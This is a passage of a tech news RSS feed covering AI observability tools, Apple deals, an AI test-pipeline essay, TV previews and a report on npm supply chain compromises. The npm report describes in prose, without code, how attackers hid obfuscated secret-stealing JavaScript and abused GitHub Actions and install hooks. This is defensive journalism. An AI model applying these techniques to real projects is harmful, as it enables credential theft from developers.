<h2 class="wp-block-heading">Lunary</h2>



<p class="wp-block-paragraph">Watching the user experience is essential for building AI applications such as chatbots and assistants. <a href="https://lunary.ai/">Lunary</a> offers a proxy that traces all interactions and then builds analytical dashboards for measuring metrics such as user satisfaction or model costs. One common usage is finding frequent topics and looking at the responses to ensure they deliver. When prompts aren’t perfect, Lunary lets teams iterate on the prompt text until the right answers are coming out. Its proxy structure and common API format enables Lunary to promise to work with “any LLM, any framework.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; <a href="https://lunary.ai/pricing">Pro plan</a> starts at $20 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Deep integration with humans for reviewing and optimizing results</p>



<p class="wp-block-paragraph"><em>Best for:</em> Startups focused on rapid prompt innovation</p>



<h2 class="wp-block-heading">NewRelic</h2>



<p class="wp-block-paragraph">The platform that began tracking performance of some web applications is now powerful enough to track the flows of data through complex agentic ecologies. <a href="https://newrelic.com/platform/ai-observability">NewRelic’s</a> AI-driven monitoring watches for golden signals that can indicate misbehavior or worse throughout the entire lifecycle. It tracks every detail of the interactions through protocols such as MCP and then makes this available to the AI engineers responsible for performance. The dashboard provides the insights necessary to watch for toxic behavior, overt bias, drift, and overblown hallucinations. Predicting and maybe even controlling the cost is also a growing role as tokenomics becomes as important as response time.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; Pro plan fees available through website</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack support with hundreds of integrations with other tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Established enterprise teams mixing in AI</p>



<h2 class="wp-block-heading">Nova AI Ops</h2>



<p class="wp-block-paragraph">The goal of <a href="https://novaaiops.com/">Nova AI Ops </a>is to deliver a team of agents that watch over a cloud and make it, at least partially, self-healing. Each agent uses a mixture of predictive AI and machine learning to watch cloud telemetry reports for anomalies. Then they calculate the “blast radius” and decide whether this is a problem that can be fixed automatically “while you sleep” or saved for the human supervisors. These tools are aimed not just on LLM operations but on the stack as a whole.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://novaaiops.com/pricing">Standard pricing </a> begins at $40 per user per month with usage billing</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on software reliability engineering helps teams deliver stable stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that want to integrate LLMs into incident response and stability management</p>



<h2 class="wp-block-heading">Splunk</h2>



<p class="wp-block-paragraph">The platform that began delivering smart logging is now fully AI capable, offering solutions that can watch over agents with much the same way that it continues to track microservices. <a href="https://www.splunk.com/en_us/solutions/splunk-artificial-intelligence.html">Splunk</a> now includes a fairly large amount of predictive AI for learning from the information in the logs and then turning this learning into fast solutions. This AI assistant can track deployed AI models connected by protocols such as MCP and watch over behavior while delivering the ability for users to drill down and explore what’s working and what’s failing. Their AI Canvas is meant to offer a central hub where the AI scientists can track both the local behavior of the models as well as their role in a larger data ecosystem.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.splunk.com/en_us/resources/splunk-pricing-options.html">Activity-based pricing</a> tracks usage of LLM backends and storage</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Ready to scale to large enterprise stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams with legacy systems that are folding in agentic options</p>



<h2 class="wp-block-heading">SuperPenguin</h2>



<p class="wp-block-paragraph">One of the most important parts of an AI service is the bill. <a href="https://superpenguin.ai/#features">SuperPenguin</a> is a product designed to track consumption and make predictions so that the CFO won’t be surprised. The goal is to provide solid estimates about the total cost of each product by allocating costs to customers, features, and teams. If there’s a sudden shift, a “spike detector” will raise an alarm so that dev teams can ensure that the AI spend is worth it.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier for experimentation; Growth tier for teams, starting at $30 per month; <a href="https://superpenguin.ai/#pricing">Pro tier </a>offers deeper options starting at $200 per month</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Strong accounting with invoice reconciliation and PR-level usage tracking</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that need precise cost accounting</p>



<h2 class="wp-block-heading">Vellum</h2>



<p class="wp-block-paragraph">Prompt engineers spend time fussing over the details of tweaking, improving, and enhancing the words that guide the LLM. <a href="https://www.vellum.ai/">Vellum</a> started as a company that would provide the pipeline so that you could manage and improve the prompts that ran again and again. Now the system is growing more powerful, offering a higher level of automation that lets you meta-manage the prompt chain. They’ve also begun marketing it as a form of personal assistant with pre-built connections to many of the major services such as Gmail. Its <a href="https://github.com/vellum-ai/llm-cost-optimizer">llm-cost-optimizer </a>can juggle multiple options while finding a cheaper way to execute a prompt, a process the company suggests can save 60% or more.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Open-source free tier; Pro plan starts at $35 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on multi-model pipelines for true agentic solutions</p>



<p class="wp-block-paragraph"><em>Best for:</em> Product teams with complex prompt engineering workflows</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's Back to School offers have started, but you can do much better]]></title>
<description><![CDATA[Apple has launched an unusually limited Back to School series of deals and they are not to be dismissed, but there are far greater discounts to be had from other resellers.Apple's lates Back to School offer is now live - image credit: AppleEven when it isn't raising prices, it is a rule with Appl...]]></description>
<link>https://tsecurity.de/de/3673004/ios-mac-os/apples-back-to-school-offers-have-started-but-you-can-do-much-better/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673004/ios-mac-os/apples-back-to-school-offers-have-started-but-you-can-do-much-better/</guid>
<pubDate>Thu, 16 Jul 2026 11:55:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has launched an unusually limited Back to School series of deals and they are not to be dismissed, but there are far greater discounts to be had from other resellers.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67772-143897-000-lead-Back-to-School-xl.jpg" alt="Two colorful stylized tablets float on a black background, one with yellow feather-like pattern, one with purple folds, surrounded by cartoon icons including a hand, eyes, starburst, and small Apple logo" height="720"><br><span>Apple's lates Back to School offer is now live - image credit: Apple</span></div><br>Even when it isn't <a href="https://appleinsider.com/articles/26/06/25/apple-confirms-price-nikes-across-macs-ipads-and-more">raising prices</a>, it is a rule with Apple that it will never actually have sales on its products, except for certain <a href="https://appleinsider.com/articles/24/05/08/march-iphone-discounts-in-china-may-have-saved-apples-quarter">regular promotions</a> in China. So for this latest deal, it is again falling back on offering Apple gift cards alongside selected products.<br><br>So when a user buys one of these devices, they get a gift card that amounts to money off their next purchase. Consequently if someone knows they need two Apple devices, they can get money off the second one.<br><br><br> <a href="https://appleinsider.com/articles/26/07/16/apples-back-to-school-offers-have-started-but-you-can-do-much-better?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244970?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[NPM ecosystem hit with two new supply chain compromises]]></title>
<description><![CDATA[Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised developmen...]]></description>
<link>https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</guid>
<pubDate>Wed, 15 Jul 2026 22:38:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised development credentials.</p>



<p class="wp-block-paragraph">The incidents highlight the cascading effect of software supply chain attacks in which stolen credentials are then used to perpetrate additional compromises. Security researchers advise organizations to completely rebuild from clean images any developer machines that have installed a poisoned package — and to rotate all npm tokens, source control access, cloud credentials, CI/CD secrets, SSH keys, signing keys, and browser sessions.</p>



<p class="wp-block-paragraph">Affected packages include: <a href="mailto:jscrambler@8.14.0">jscrambler@8.14.0</a>, <a href="mailto:jscrambler@8.16.0">jscrambler@8.16.0</a>, <a href="mailto:jscrambler@8.17.0">jscrambler@8.17.0</a>, <a href="mailto:jscrambler@8.18.0">jscrambler@8.18.0</a>, <a href="mailto:jscrambler@8.20.0">jscrambler@8.20.0</a>, @asyncapi/generator-helpers@1.1.1, @asyncapi/generator-components@0.7.1, @asyncapi/generator@3.3.1, @asyncapi/specs@6.11.2 and @asyncapi/specs@6.11.2-alpha.1.</p>



<p class="wp-block-paragraph">However, packages that list any of the above poisoned packages as dependencies may also be impacted, including those from the same projects, such as jscrambler-webpack-plugin 8.6.2, gulp-jscrambler 8.6.2, grunt-jscrambler 8.5.2, and jscrambler-metro-plugin 9.0.2.</p>



<h2 class="wp-block-heading">Vulnerable GitHub Actions workflow used as entry point</h2>



<p class="wp-block-paragraph">The attack against AsyncAPI, an open-source reference specification and toolset for implementing event-driven architectures and asynchronous APIs, occurred on Tuesday and was independently detected by multiple security companies monitoring the npm registry, including Upwind, Socket.dev, Wiz, StepSecurity, and Aikido Security.</p>



<p class="wp-block-paragraph">According to the researchers’ analysis, attackers took advantage of a <a href="https://www.csoonline.com/article/4008621/github-actions-attack-renders-even-security-aware-orgs-vulnerable.html">known configuration vulnerability in a GitHub Actions CI/CD workflow</a> that had been reported in April. The flaw involves the <code>pull_request_target</code> event, which executes whenever a new pull request is made. When triggered, the workflow automatically checks out and executes the developer’s submitted pull request code in the Actions container, but this is done in the context of the base repository with full access to secrets.</p>



<p class="wp-block-paragraph">The AsyncAPI project had <a href="https://github.com/asyncapi/generator/pull/2092">a proposed fix</a> since May 17, but the fix had not yet gone through the full review and was not merged into the main branch.</p>



<p class="wp-block-paragraph">“At 05:08 UTC, the attacker opened PR #2155 containing a markdown file with obfuscated JavaScript hidden after approximately 1,000 bytes of whitespace,” researchers from Wiz explained <a href="https://www.wiz.io/blog/m-red-team-asyncapi-supply-chain-compromise-via-github-actions">in their report</a>. “The payload was designed to scan the GitHub Actions runner’s environment for secrets and exfiltrate them to a dead-drop URL on the rentry.co pastebin.”</p>



<p class="wp-block-paragraph">When a GitHub Actions workflow is triggered and is executed in an environment, a temporary <code>GITHUB_TOKEN</code> is generated to allow for authenticated git commands against the repository. Other tokens might also be included.</p>



<p class="wp-block-paragraph">In this case, the attackers managed to obtain a token associated with asyncapi-bot, a service account that had access across the entire AsyncAPI organization on GitHub. This allowed them to perform malicious code commits in two separate repositories. Those commits then triggered automated build workflows that generated and published the npm packages.</p>



<p class="wp-block-paragraph">The payload bundled in the packages shares some similarities with a malware framework called Miasma that was used in previous supply chain compromises. However, the malware code appears to be significantly different from previously documented variants.</p>



<p class="wp-block-paragraph">The first-stage code downloads a secondary trojan payload that has variants for Linux, Windows, and macOS. This is a modular malware framework with credential theft capabilities that targets passwords and cookies saved inside browsers, SSH keys, npm and GitHub tokens, AWS credentials, macOS Keychain, and cryptocurrency wallets.</p>



<p class="wp-block-paragraph">The trojan communicated with a command-and-control server and can accept remote commands to perform file operations, list directories, and exfiltrate data.</p>



<h2 class="wp-block-heading">Jscrambler compromised via leaked npm credential</h2>



<p class="wp-block-paragraph">The Jscrambler attack happened over the weekend on July 11 with attackers publishing multiple trojanized versions in two waves. Jscrambler Code Integrity is a client-side security library designed to protect JavaScript-based web and mobile applications against tampering and reverse engineering.</p>



<p class="wp-block-paragraph">Jscrambler published <a href="https://jscrambler.com/blog/security-advisory-malicious-npm-package">an advisory</a> in response to the incident in which it clarified that the attackers published malicious versions of the package using a npm publishing credential. However, unlike the AsyncAPI case, how that credential was leaked in the first place is not clear.</p>



<p class="wp-block-paragraph">Initially the attackers released new package versions with two malicious scripts that get executed at install time using a preinstall hook in the configuration script. The scripts also execute platform-specific binaries for Linux, macOS, and Windows embedded in an obfuscated container.</p>



<p class="wp-block-paragraph">Because <code>preinstall</code> or <code>postinstall</code> hooks are common ways to deliver malware in npm packages, they are automatically checked by security tools. To avoid detection, the attackers pivoted to a method that involved injecting the malicious code directly in the <code>dist/index.js</code> and <code>dist/bin/jscrambler.js</code> files. This changed the malware execution from package installation time to when the package gets imported into other projects or the Jscrambler CLI is invoked.</p>



<p class="wp-block-paragraph">The embedded malware executables for different platforms are written in Rust and, according to <a href="https://socket.dev/blog/jscrambler-supply-chain-attack">Socket.dev’s analysis</a>, were “a broad, developer-focused credential and secret harvester” that targeted browser-extension crypto wallets, API keys from AI coding assistants and MCP servers, cloud credentials for AWS, Azure and GCP, authentication tokens for messaging applications (such as Discord, Slack, and Telegram), password stores from browsers, Steam, and KDE.<br><br><br></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Opera Browser Gains Major iPhone User Growth In The US And UK]]></title>
<description><![CDATA[More people with iPhones are looking past Safari and picking a different option to browse the web. Opera recently shared that its mobile application saw a massive jump in monthly active users during the second quarter of 2026. The company recorded a 50 percent increase in the United States and a ...]]></description>
<link>https://tsecurity.de/de/3671312/ios-mac-os/opera-browser-gains-major-iphone-user-growth-in-the-us-and-uk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671312/ios-mac-os/opera-browser-gains-major-iphone-user-growth-in-the-us-and-uk/</guid>
<pubDate>Wed, 15 Jul 2026 18:11:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[More people with iPhones are looking past Safari and picking a different option to browse the web. Opera recently shared that its mobile application saw a massive jump in monthly active users during the second quarter of 2026. The company recorded a 50 percent increase in the United States and a 93 percent jump in the United Kingdom compared to the same period last year.



Looking at overall mobile growth for both iOS and Android, the browser saw active users jump by 66 percent in the UK and 40 percent in the US.



New features keep mobile users hooked on the browser platform



Much of this recent momentum comes from a software update that makes the app much easier to use. Opera introduced a new synchronization system for its iOS version. This tool allows users to instantly share their tabs, saved bookmarks, and passwords between a desktop computer and an iPhone.



The company also added quick media controls right inside the tab view. You can easily spot which page is playing audio and quickly mute or unmute the sound without clicking through multiple screens.



Artificial intelligence tools play a big role in keeping people around. The built in assistant can now handle image prompts and file uploads straight from a mobile phone. Along with these new updates, the company points out that a free virtual private network and a built in ad blocker are major reasons why people decide to keep using the app long term.



This growth builds on a wave of new users from Europe. Last year, new digital market rules forced Apple to show a browser choice screen on its devices. That change helped the alternative browser grow 42 percent across Europe. Now, that same energy is clearly spilling over into the US and UK markets.



The internet landscape is shifting, and people are proving they will stick with a third-party option if it offers the right mix of privacy and smart tools.]]></content:encoded>
</item>
<item>
<title><![CDATA[What 80% AI-written test pipelines actually cost]]></title>
<description><![CDATA[The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?



After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the typing, not eighty percent o...]]></description>
<link>https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?</p>



<p class="wp-block-paragraph">After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the <em>typing</em>, not eighty percent of the <em>engineering</em>. The remaining twenty was where the work still lived. Budgeting for two percent of leftover effort was the mistake. When the real number was closer to thirty, that gap was the difference between a pipeline that shipped and one that quietly built up a queue of half-trusted features nobody could rely on.</p>



<p class="wp-block-paragraph">This piece is about that gap. As an independent research project on LLM-augmented testing methodology, I built a six-stage agentic pipeline that takes a design in Figma and produces running tests in WebDriverIO, connected end to end over the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. It works. It has been useful. And the parts that broke surprised me, because they were not the parts the hype cycle tells you to worry about.</p>



<h2 class="wp-block-heading">How I wired a six-stage pipeline over one protocol</h2>



<p class="wp-block-paragraph">The pipeline runs six stages in sequence, each owned by a different agent, with every handoff crossing MCP.</p>



<p class="wp-block-paragraph">Six-stage agentic test pipeline: design capture → requirements writer → ticket opener → code generator → test-case writer → automation generator. Each stage carries an MCP handoff and a provenance stamp.</p>



<p class="wp-block-paragraph">The end-to-end trace links a pull request back to a Jira ticket, a requirements section and a Figma frame. Each artifact is stamped with the agent that produced it, the model it used and the inputs it was given.</p>



<p class="wp-block-paragraph">MCP is the boring middle that makes any of this work. The cliché is that MCP is “USB-C for AI”: one open protocol, any tool. Like most analogies, it is about eighty percent right. The part that matters is the eighty: I do not have to write a custom adapter for every system the agent talks to. One MCP server per tool and every agent talks to all of them the same way.</p>



<p class="wp-block-paragraph"><strong>Typed handoffs between agents are my own architecture, layered on top of MCP rather than provided by it.</strong> Each agent writes a typed artifact the next agent reads. Each handoff is logged with provenance. When something went wrong six stages in, I could replay the chain. Without that discipline, a multi-agent pipeline is a debugger’s worst day. You know the test plan is wrong. You cannot tell whether the mistake came from the Figma read, the requirements interpretation or the ticket scaffolding. With it, I could point at exactly which stage went sideways and which inputs it was looking at when it did. The pattern lives in a <a href="https://github.com/SuneetMalhotra/agent-harness">public MIT-licensed reference implementation</a> for any reader who wants to run it.</p>



<p class="wp-block-paragraph"><strong>The sixteen-minute number is the marketing number.</strong> I ran the full chain end to end in about sixteen minutes on a synthetic net-new screen, Figma in, automation suite out. That repeated across my runs; it is not a demo trick. But sixteen minutes is the part of the story most fun to tell and least useful to learn from. It is what gets quoted in the all-hands. The hours that come after, when a human reviews each handoff, are where the work actually lives.</p>



<h2 class="wp-block-heading">What actually broke in production-style runs</h2>



<p class="wp-block-paragraph">The failures that stalled my pipeline were rarely the ones I expected.</p>



<p class="wp-block-paragraph">I expected hallucinated APIs. I got them: the agent confidently called endpoint names that sounded right but did not exist. I expected sparse-spec-in, sparse-spec-out, where a Figma frame with no annotations produced a requirements doc with vague acceptance criteria, every time. I expected locator drift, the common UI-automation failure mode where a renamed component silently breaks an entire test suite. There is solid <a href="https://martinfowler.com/articles/nonDeterminism.html">outside writing on non-determinism in tests</a> covering this whole family of failure modes, and the agent inherited every one.</p>



<p class="wp-block-paragraph">What I did not expect, and what kept the pipeline down longer than any of the above, was the plumbing.</p>



<p class="wp-block-paragraph">The model backend timed out under load. It lost credentials silently and started returning empty strings, which the agent then read as confidence. A duplicate consumer on a shared long-poll API endpoint produced an HTTP 409 conflict that broke delivery without throwing anything visible. One unguarded exception inside one agent aborted a whole shared scheduler run and took the other agents in the registry down with it. The single worst incident cost me three hours to find. An environment variable had silently rotated overnight; every agent in the fleet was returning structurally valid but semantically empty requirements docs; the downstream stages were dutifully generating tests against nothing.</p>



<p class="wp-block-paragraph">None of those are model bugs. They are infrastructure. The agent literature, which is what I went looking through when I started this work, mostly does not talk about them.</p>



<p class="wp-block-paragraph">The fix was not better prompts. It was <a href="https://martinfowler.com/bliki/CircuitBreaker.html">circuit-breaker-style</a> review checkpoints between stages and what I now call <strong>the four-guard discipline</strong>: four small guards I consider non-negotiable on any unattended agentic pipeline. The bulkhead pattern from microservices is the most consequential. An unhandled exception inside one agent can no longer abort the shared run; the offending agent fails fast with a structured error and the others keep going. Paired with that, a pure-data fallback ensures a model timeout produces a deterministic output explicitly marked as degraded mode, rather than an empty string the next stage will misread as confidence. A single-owner lease sits on every shared external endpoint, the cure for the duplicate-consumer incident that ate one of my Sunday afternoons. The cheapest guard was the last to arrive: a one-line synthetic canary every agent has to produce a known correct response to before any real work begins, so a credentials rotation or silent backend failure trips an alert before downstream stages have generated artifacts against garbage.</p>



<p class="wp-block-paragraph">None of these guards is novel. They are textbook stability patterns at a new boundary: the seam between the LLM agent and the rest of the system, which most of the existing agent literature still treats as a solved problem.</p>



<h2 class="wp-block-heading">The 20% you don’t see, and when not to do this</h2>



<p class="wp-block-paragraph">Here is the part the demo videos leave out. Even when the pipeline works, the human time per stage does not go to zero.</p>



<p class="wp-block-paragraph">Human review time per ticket across five pipeline stages: code review 60-180 min, automation review and flaky-fix loop 30-90 min, ticket architecture and sequencing 30-60 min, test data and environment 15-30 min, requirements review 20-30 min. Net: the human still spends 20-30% of the original effort, almost all of it reviewing rather than creating.</p>



<p class="wp-block-paragraph"><strong>Net of all that, the human still spends twenty to thirty percent of the original effort, almost all of it reviewing rather than creating.</strong> The pipeline saves seventy to eighty percent, not ninety-eight. The trap is budgeting for the two percent you do not save.</p>



<p class="wp-block-paragraph">When does this kind of pipeline make sense? In my experience, when the Figma is richly annotated and acceptance criteria are clear up front; when there is review capacity to absorb the work the pipeline shifts onto humans; when the stack is well represented in the training data; and when the feature is net-new rather than a deep edit of legacy code. When does it not? When the design lives on a whiteboard. When the integration touches old code with hidden contracts. When the path is regulated or safety-critical. When there is no senior reviewer who can hold the line. When the work is exploratory and writing the spec is the actual point of the exercise.</p>



<p class="wp-block-paragraph">Teams I have seen succeed with agentic pipelines budget for the rework explicitly, staff the review queue and treat the saved hours as capacity for harder problems rather than headcount they can release. Teams I have seen struggle did the opposite: declared victory at the demo and quietly accumulated a backlog of half-trusted features the next quarter had to clean up.</p>



<p class="wp-block-paragraph">The right unit of measurement is not how much the pipeline generates. It is how much of what it generates a human still has to touch before you would ship it. Call it <strong>the 80/20 rework rule</strong>: measure the rework, not the generation. The teams that get the rework number right are the ones whose AI investments compound. The teams that stop counting at the headline percentage are the ones that own the cleanup six months later.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong><u>Want to join?</u></strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sugar Season 2 Episode 5 Preview: Can Sugar Find Ji Before It Is Too Late?]]></title>
<description><![CDATA[Sugar Season 2 Episode 5 will continue John Sugar’s dangerous search for Ji Moon as Lieutenant Ray Vega closes in on both men. After the risky plan seen in Episode 4, Sugar must find a way to protect Ji while exposing the corruption surrounding his disappearance.




Release date: July 17, 2026

...]]></description>
<link>https://tsecurity.de/de/3670872/ios-mac-os/sugar-season-2-episode-5-preview-can-sugar-find-ji-before-it-is-too-late/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670872/ios-mac-os/sugar-season-2-episode-5-preview-can-sugar-find-ji-before-it-is-too-late/</guid>
<pubDate>Wed, 15 Jul 2026 15:55:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sugar Season 2 Episode 5 will continue John Sugar’s dangerous search for Ji Moon as Lieutenant Ray Vega closes in on both men. After the risky plan seen in Episode 4, Sugar must find a way to protect Ji while exposing the corruption surrounding his disappearance.




Release date: July 17, 2026



Episode title: “Unknowns”



Streaming platform: Apple TV



Genre: Neo-noir, mystery, thriller and science fiction



Season length: Eight episodes



Expected duration: Around 40 to 50 minutes



Main cast: Colin Farrell, Jin Ha, Raymond Lee, Tony Dalton, Laura Donnelly, Sasha Calle and Shea Whigham



Release schedule: New episodes arrive every Friday




Apple TV began releasing Sugar Season 2 on June 19, with the finale scheduled for August 7. Episode 5, therefore, marks the beginning of the second half of the season.



Sugar Season 2 Episode 5 Preview



Spoilers ahead for Sugar Season 2 Episode 4.



Sugar’s search for Ji took a dangerous turn after he confronted Vega and made it clear that he knew about the police officer’s involvement in the case. Vega has connections inside the department, which makes it difficult for Sugar to trust the authorities or ask them for help.



Episode 4 also revealed why Ji became a target. Ji had witnessed Vega killing a gang member, leaving Vega desperate to silence him before the truth became public. Sugar eventually used a fake overdose to fool Vega’s men before reviving Ji with Narcan. The plan saved Ji temporarily, but it also showed how far Sugar must go to keep him alive.



Episode 5 will likely follow Sugar as he tries to move Ji to a safer location. Vega now knows that Sugar has become a serious threat, so he could use his police resources to track them down. Sugar must stay ahead of him while convincing Ji to reveal everything he saw.



Can Sugar Keep Ji Safe From Vega?



Ji remains the most important witness in the investigation. His testimony could connect Vega to the murder and expose a larger network of corruption within the Los Angeles Police Department.



However, keeping Ji alive will become increasingly difficult. Vega has already shown that he can manipulate witnesses, use other officers and arrange traps without drawing attention to himself. His meeting with Hannah also proved that anyone connected to Ji can become a target.



Sugar may need help from Val or another unexpected ally to move Ji before Vega finds their location. Charlotte could also become more involved after investigating Sugar’s private life, although her true intentions remain uncertain.



Vega Could Turn the Investigation Against Sugar



Vega may try to portray Sugar as a criminal who kidnapped Ji or interfered with an official investigation. Since Sugar directly challenged him during their interrogation, Vega now has a personal reason to destroy his reputation.



Tony Dalton’s Vega has developed into Sugar’s main opponent, combining police authority with calculated violence. Their conflict should become even more intense in Episode 5 as Sugar searches for evidence that can support Ji’s account.



At the same time, Sugar continues searching for his missing sister, Djen. The Ji Moon case could eventually connect with that larger mystery, especially as the season explores a conspiracy stretching across Los Angeles and possibly beyond Earth.



Sugar Season 2 Episode 5 arrives on Apple TV on July 17. Do you think Sugar can keep Ji safe and expose Vega, or will the corrupt officer reach them first? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[How Silo Season 3 Is Setting Up the Fourth and Final Season]]></title>
<description><![CDATA[Silo Season 3 is already answering some of the show's biggest mysteries, but it is also laying the foundation for the final chapter. With Apple TV confirming that Season 4 will end the adaptation of Hugh Howey's trilogy, the latest episodes are expanding the story beyond Juliette's survival and r...]]></description>
<link>https://tsecurity.de/de/3670831/ios-mac-os/how-silo-season-3-is-setting-up-the-fourth-and-final-season/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670831/ios-mac-os/how-silo-season-3-is-setting-up-the-fourth-and-final-season/</guid>
<pubDate>Wed, 15 Jul 2026 15:40:29 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 is already answering some of the show's biggest mysteries, but it is also laying the foundation for the final chapter. With Apple TV confirming that Season 4 will end the adaptation of Hugh Howey's trilogy, the latest episodes are expanding the story beyond Juliette's survival and revealing how the silos came to exist in the first place.



Silo Season 3 at a glance




Release date: July 3, 2026



Episodes: 10



Release schedule: One new episode every Friday through September 4, 2026



Genre: Sci-fi, mystery, dystopian drama



Streaming on: Apple TV



Main cast: Rebecca Ferguson, Common, Harriet Walter, Chinaza Uche, Avi Nash, Ashley Zukerman, Jessica Henwick, Colin Hanks, Alexandria Riley



Created by: Graham Yost



Based on: Hugh Howey's bestselling Silo book trilogy




Where the story is heading



Spoilers ahead.



Season 3 continues Juliette Nichols' journey after the dramatic events of Season 2. While she faces the consequences of crossing between silos, the series also introduces a second timeline that takes viewers centuries into the past. This new storyline explores the events that led to humanity living underground and slowly uncovers the conspiracy behind the construction of the silos. 



Instead of focusing only on one underground community, the series now connects multiple silos and shows that the mystery is much bigger than anyone originally believed.



Season 3 is building the bridge to the ending



One of the biggest changes this season is its shift toward the prequel story inspired by Hugh Howey's Shift. While earlier seasons mainly followed Juliette's investigation inside Silo 18, Season 3 spends significant time exploring the "Before Times."



New characters such as journalist Helen Drew and Congressman Daniel Keene play a major role in uncovering the political decisions and hidden plans that shaped the future. Their discoveries explain why the silos exist and how the world reached its current state.



These revelations are expected to become the foundation for everything that happens in Season 4.



Multiple timelines are expanding the mystery



Season 3 uses two parallel storylines that slowly move toward each other.



The present-day story follows Juliette as she searches for answers while facing new dangers across different silos.



At the same time, the flashback timeline explains the origins of the underground civilization. Rather than treating these stories separately, each episode reveals information that changes how viewers understand events in the present.



This structure allows the writers to answer long-running questions while introducing new twists that can carry into the final season.



Season 4 already has a clear destination



Unlike many television series that wait for renewal decisions, Silo already knows where its story will end.



Apple renewed the show for both Seasons 3 and 4, allowing Graham Yost and the creative team to adapt the complete trilogy without rushing the ending. Season 4 will conclude the story by adapting the final novel, Dust, bringing together the mysteries surrounding the silos, their creators, and humanity's future.



Because of that long-term plan, many of Season 3's new characters, historical events, and world-building moments feel like carefully placed pieces rather than standalone stories.



Why fans should pay attention now



The latest season contains several clues that will likely become important later.



Viewers are learning:




How the silo project first began.



Who was responsible for creating it.



Why different silos developed differently.



How the past directly affects Juliette's future.



Which unanswered mysteries are being saved for the series finale.




Every episode adds another piece to the larger puzzle, making Season 3 one of the most important chapters in the entire series.



Wrap Up



Silo Season 3 does much more than continue Juliette's story. It expands the world, reveals the origins of the silos, and carefully prepares viewers for the confirmed fourth and final season. With two timelines finally coming together and more answers arriving each week, the series is moving steadily toward its planned conclusion.



What do you plan to watch on Apple TV this week? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Install an AIO CPU Cooler 🖥️ Part5: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 13x - Views:52 💧 Liquid cooling sounds intimidating... but it's actually one of the easiest parts of a modern PC build! 

In this episode of my PC Build Series, I'll walk you through installing an ASUS ROG Ryujin III ARGB Extreme AIO cooler onto an AMD Ryzen 9 9...]]></description>
